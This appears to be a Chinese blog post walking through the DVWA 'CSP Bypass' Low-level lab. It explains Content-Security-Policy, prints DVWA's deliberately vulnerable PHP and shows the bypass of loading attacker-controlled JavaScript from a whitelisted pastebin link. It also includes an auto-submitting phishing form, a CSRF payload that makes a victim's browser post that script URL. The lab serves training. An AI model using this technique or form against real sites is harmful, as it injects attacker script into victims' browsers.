zoukankan      html  css  js  c++  java
  • DVWA-13.1 CSP Bypass(绕过浏览器的安全策略)-Low

    CSP

    Content-Security-Policy是指HTTP返回报文头中的标签,浏览器会根据标签中的内容,判断哪些资源可以加载或执行。翻译为中文就是内容安全策略。是为了缓解潜在的跨站脚本问题(XSS),浏览器的扩展程序系统引入了内容安全策略这个概念。原来应对XSS攻击时,主要采用函数过滤、转义输入中的特殊字符、标签、文本来规避攻击。CSP的实质就是白名单制度,开发人员明确告诉客户端,哪些外部资源可以加载和执行。开发者只需要提供配置,实现和执行全部由浏览器完成。

    两种方法可以启用CSP:

    1. 一种是通过HTTP相应头信息的Content-Security-Policy字段;
    2. 另一种是通过网页标签;

    例如:

    <meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

    以上例子的意思如下:

    1. script-src脚本:只信任当前域名
    2. object-src:不信任任何URL,即不加载任何资源
    3. style-src样式表:只信任http://cdn.example.org和
    4. child-src:必须使用HTTPS协议加载。这个已从Web标准中删除,新版本浏览器可能不支持。
    5. 其他资源:没有限制其他资源

    当启用CSP后,不符合CSP的外部资源会被阻止加载。

    为什么要使用CSP呢?

    首先,CSP是一种声明机制,允许Web开发者在其应用程序上指定多个安全限制,由支持的用户代理(浏览器)来负责强制执行。CSP旨在“作为开发人员可以使用的工具,以各种方式保护其应用程序,减轻内容注入漏洞的风险和减少应用程序执行的特权”。当前,CSP还处在快速的发展期,目前正在进行规范中的版本是CSP3,CSP标准由用户代理选择实现。例如,Chrome具有完整的CSP2支持,并且实现了CSP3的大部分工作草案,仅在某些情况下可能会落后于实验中的某些特性,而Mozilla Firefox和基于WebKit的浏览器则刚刚获得了完整的CSP2支持。在实际使用中,CSP策略在Content-Security-Policy HTTP响应头或元素中提供。

    攻击者如何绕过CSP进行攻击呢?

    Low Level

    查看代码

    <?php
    
    $headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com  example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.
    
    header($headerCSP);
    
    # https://pastebin.com/raw/R570EE00
    
    ?>
    <?php
    if (isset ($_POST['include'])) {
    $page[ 'body' ] .= "
        <script src='" . $_POST['include'] . "'></script>
    ";
    }
    $page[ 'body' ] .= '
    <form name="csp" method="POST">
        <p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
        <input size="50" type="text" name="include" value="" id="include" />
        <input type="submit" value="Include" />
    </form>
    ';

    可以看到被信任的网站有:https://pastebin.com、example.com、code.jquery.com和https://ssl.google-analytics.com

    通过抓包,也能观察到返回的报文中CSP的内容

    而当中的 pastebin 是什么网站呢?是一个快速分享文本内容的网站。

    假如文本的内容是一段 js 代码呢?

    比如是源码中提示我们的, 输入 https://pastebin.com/raw/R570EE00

    可以看到,链接中保存的JS代码被成功执行了,所以,不应该信任那些可以自由编辑文件的网页的。

    因此,绕过CSP的方法就是,攻击者把恶意代码保存在受信任的网站上,然后把链接发送给需要攻击的用户,用户点击后,达到注入目的。

    当然也可以通过CSRF实现攻击,做一个钓鱼网站,通过发送邮件等方式让用户收到链接后,诱惑点击,用户点击后,则被被攻击。例如如下构造一个钓鱼网站

    <form action=" http://127.0.0.1/dvwa/vulnerabilities/csp/" id="csp" method="post">
    
    <input type="text" name="include" value=""/>
    
    </form>
    
    <script>
    
    var form = document.getElementById("csp");
    
    form[0].value="https://pastebin.com/raw/R570EE00"; form.submit(); 

    </script>

    参考:

    https://zhuanlan.zhihu.com/p/110012962

    https://www.codercto.com/a/85601.html

  • 相关阅读:
    进程间通讯(四)--剪切板
    进程间通讯(三)--套接字
    进程间通讯(二)--管道
    进程间通讯(一)--邮件槽
    获得目标进程PEB,并获得进程各种信息
    编程实现执行CMD命令-用照片查看器打开图片
    Python网页爬虫之中文乱码
    Python爬虫技术(一)--模拟登陆
    gson的特殊用法
    spring的beans.xml中classpath
  • 原文地址:https://www.cnblogs.com/zhengna/p/12781701.html
Copyright © 2011-2022 走看看